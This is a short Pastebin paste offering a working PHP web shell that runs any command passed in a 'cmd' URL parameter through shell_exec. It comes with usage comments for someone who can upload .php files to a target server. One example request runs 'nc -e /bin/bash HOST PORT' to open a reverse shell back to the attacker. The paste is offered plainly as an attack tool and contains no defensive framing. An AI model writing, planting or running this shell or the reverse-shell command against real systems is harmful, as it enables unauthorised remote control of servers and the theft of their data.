Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #When ure able to upload .php files to a webserver, u can use this for example to spawn a reverse shell on your target system
- #"http://target/exec.php?cmd=uname -r" will return the actual running kernel version
- #"http://target/exec.php?cmd=nc -e /bin/bash HOST PORT" will spawn a reverse shell (open a listener on your system with nc -lvvp PORT)
- <?php
- $cmd = $_GET["cmd"];
- $out = shell_exec($cmd);
- echo "<pre>$out</pre>";
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement